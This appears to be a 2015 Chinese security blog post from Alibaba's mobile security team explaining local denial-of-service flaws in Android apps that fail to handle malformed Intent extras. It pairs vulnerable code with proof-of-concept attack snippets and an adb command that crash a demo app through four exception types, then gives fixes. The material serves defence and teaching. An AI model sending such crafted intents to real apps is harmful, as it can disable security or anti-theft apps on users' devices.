您当前的位置:安全博客 > 安全漏洞 > Android应用本地拒绝服务漏洞浅析

Android应用本地拒绝服务漏洞浅析

阿里无线安全团队发表于2015年03月10日


1.本地拒绝服务漏洞描述

      Android系统提供了Activity、Service和Broadcast Receiver等组件,并提供了Intent机制来协助应用间的交互与通讯,Intent负责对应用中一次操作的动作、动作涉及数据、附加数据进行描述,Android系统则根据此Intent的描述,负责找到对应的组件,将Intent传递给调用的组件,并完成组件的调用[1]。Android应用本地拒绝服务漏洞源于程序没有对Intent.getXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者可通过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用crash的目的,简单的说就是攻击者通过intent发送空数据、异常或畸形数据给受害者应用,导致其崩溃。

      近期,两位0xr0ot和Xbalien安全研究人员发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务可以造成大面积的app拒绝服务[2]。通用型本地拒绝服务漏洞,主要源于攻击者向Intent中传入其自定义的序列化类对象,当调用组件收到此Extra序列化类对象时,无法找到此序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。
      本地拒绝服务漏洞不仅可以导致安全防护等应用的防护功能被绕过或失效(如杀毒应用、安全卫士、防盗锁屏等),而且也可被竞争方应用利用来攻击,使得自己的应用崩溃,造成不同程度的经济利益损失。

2. 本地拒绝服务漏洞影响范围

      Android系统所有版本

3. 本地拒绝服务漏洞详情

      1) 漏洞位置:

      处理getIntent()的intent附带的数据

      2) 漏洞触发前提条件:

      getIntent()的intent附带空数据、异常或畸形数据;
      处理getXXXExtra()获取的数据时没有进行异常捕获;

      3) 漏洞原理:

      Android系统中提供了Intent机制来协助应用间的交互与通讯,其负责对应用中一次操作的动作、动作涉及数据、附加数据进行描述,系统则根据此Intent的描述,负责找到对应的组件,将Intent传递给调用的组件,并完成组件的调用。调用的组件在处理Intent附加数据的时候,没有进行异常捕获,因此当处理空数据、异常或者畸形数据时,导致应用崩溃。

4. 本地拒绝服务漏洞POC

      1)  NullPointerException异常导致的拒绝服务,源于程序没有对getAction()等获取到的数据进行空指针判断,从而导致空指针异常而导致应用崩溃;

      漏洞应用代码片段:
Intent i = new Intent();
if (i.getAction().equals("TestForNullPointerException")) {
    Log.d("TAG", "Test for Android Refuse Service Bug");
}

      攻击应用代码片段:
KevindeMacBook-Air-2:~ kevin$ adb shell am start -n com.alibaba.jaq.pocforrefuseservice/.MainActivity
      攻击应用代码运行后结果截图:
 
 

      2)  ClassCastException异常导致的拒绝服务, 源于程序没有对getSerializableExtra()等获取到的数据进行类型判断而进行强制类型转换,从而导致类型转换异常而导致应用崩溃;
      漏洞应用代码片段:
Intent i = getIntent();
String test = (String)i.getSerializableExtra("serializable_key");
      攻击应用代码片段:
Intent i = new Intent();
i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
i.putExtra("serializable_key", BigInteger.valueOf(1));
startActivity(i);

     攻击应用代码运行后结果截图:

 
      3)  IndexOutOfBoundsException异常导致的拒绝服务,源于程序没有对getIntegerArrayListExtra()等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃;
      漏洞应用代码片段:
Intent intent = getIntent();
ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id");
if (intArray != null) {
    for (int i = 0; i < USER_NUM; i++) {
        intArray.get(i);
    }
}
      攻击应用代码片段:
Intent intent = new Intent();
intent.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");

ArrayList<Integer> user_id = new ArrayList<Integer>();

intent.putExtra("user_id", user_id);
startActivity(intent);
      攻击应用代码运行后结果截图:
 

      4)  ClassNotFoundException异常导致的拒绝服务,源于程序没有无法找到从getSerializableExtra ()获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。
      漏洞应用代码片段:
Intent i = getIntent();
i.getSerializableExtra("serializable_key");
      攻击应用代码片段:
public void onCreate(Bundle savedInstanceState) {
     super.onCreate(savedInstanceState);
     setContentView(R.layout.main);

     Intent i = new Intent();
     i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
     i.putExtra("serializable_key", new SelfSerializableData());
     startActivity(i);

 }
static  class SelfSerializableData implements Serializable {
     private static final long serialVersionUID = 42L;
     public SelfSerializableData() {
         super();
     }
 }

      攻击应用代码运行后结果截图:

5. 本地拒绝服务漏洞修复建议

1. 阿里聚安全建议将不必要的导出的组件设置为不导出

      出于安全考虑,阿里聚安全应将不必要的组件导出,防止引起拒绝服务,尤其是杀毒、安全防护、锁屏防盗等安全应用; 在AndroidMenifest.xml文件中,将相应组件的“android:exported”属性设置为“false”,如下示例:
<activity android:name="MyActivity"
        android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action_TEST"/>
    </intent-filter>
</activity>

2. 阿里聚安全建议intent处理数据时进行捕获异常

      阿里聚安全建议处理通过Intent.getXXXExtra()获取的数据时进行以下判断,以及用try catch方式进行捕获所有异常,以防止应用出现拒绝服务漏洞:
      1) 空指针异常;
      2) 类型转换异常;
      3) 数组越界访问异常;
      4) 类未定义异常;
      5) 其他异常;



引用
[1] http://developer.android.com/reference/android/content/Intent.html

[2] Android APP 通用型拒绝服务漏洞分析报告


作者:行里



安全漏洞